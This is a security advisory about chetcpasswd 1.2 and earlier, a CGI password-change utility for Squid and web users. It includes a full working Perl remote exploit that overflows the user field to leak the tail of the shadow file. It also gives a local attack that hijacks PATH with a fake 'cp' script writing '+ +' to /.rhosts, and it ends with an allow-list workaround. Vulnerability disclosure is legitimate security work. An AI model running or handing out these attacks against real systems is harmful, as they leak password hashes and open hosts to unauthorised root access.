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| Chpasswd is a utility allows your users to change his/her Squid or Web password using the browser. A lot of vulnerabilities have been found allowing remote attackers to get a "shadow's tail" without a valid user (Exploit Code Below) and (a possible) local exploit to get the root shell. |
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Credit:
This information has been provided by Victor Pereira.
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Vulnerable systems:
* chetcpasswd version 1.2 and earlier
Exploit:
If you fill the form with 120 chars in the user field, the system return the shadow file's tail without any restriction.
Exploit Code (Remote):
#!/usr/bin/perl -w
#Exploit coded by Victor Pereira <vpereira@modulo.com.br>
#Thanks to Alexandre Vargas And Thiago Zaninotti
use strict;
use Socket;
my ($remote,$port, $iaddr, $paddr, $proto,$linha,$query,$len_query,$ARGC,$fakeuser,$linhas,$pattern);
$ARGC=@ARGV;
if($ARGC < 1){
print "chetcpasswd.cgi exploit\n";
print "coded by VP <vpereira\@modulo.com.br>\n";
print "Usage:$0 <host>\n";
exit;
}
$fakeuser="ASSHOLEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
$pattern="User: E*E";
$query="user=$fakeuser&old_pw=teste&new_pw1=teste1&new_pw2=teste1&change='Altere minha senha'";
$len_query=length($query);
$remote = $ARGV[0];
$port = 80; # random port
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
die "No port" unless $port;
$iaddr = inet_aton($remote) || die "no host: $remote";
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(SOCK, $paddr) || die "connect: $!";
select(SOCK); $|=1; select(STDOUT);
print SOCK "POST /cgi-bin/chetcpasswd.cgi HTTP/1.0\n";
print SOCK "Connection: Keep-Alive\n";
print SOCK "Content-type: application/x-www-form-urlencoded\n";
print SOCK "Content-length: $len_query\n";
print SOCK "\n$query\r\n\r\n";
$linha = "";
while (<SOCK>) {
$linha = $_;
if($linha =~ s/<.*?>//g){
$linha =~ s/$pattern//g;
print $linha;
}
close (SOCK) || die "close: $!";
exit;
Exploit (Local):
Reading the source code you can find (lines 229-235) something like this:
<codigo>
if(ok) {
sprintf(command,"cp %s %s",template,pwdfile);
system(command);
unlink(template);
sprintf(Msg,"<font color=blue size=+2>%s %s.",msg18,User);
Hmsg(Msg, Uid, Gid);
}
</codigo>
Well, the code trust in a enviroment variable named PATH, if you create a script named "cp", change the value of the PATH variable, then you can via WWW interface can exec your cp.
Something like:
echo "echo + + /.rhosts" > /tmp/cp
export PATH=/tmp:$PATH
And then via Web interface you try to change your password.
Workaround:
From the README:
Create /etc/chetcpasswd.allow file with IP's or sub-nets allowed to use.
Eg.: 192.168.82.10 - only this IP will use
192.168.82.0 - IP's from 1 to 255
192.168.0.0 - ...
192.0.0.0 - ...
0.0.0.0 - allow anybody. A bad choice...
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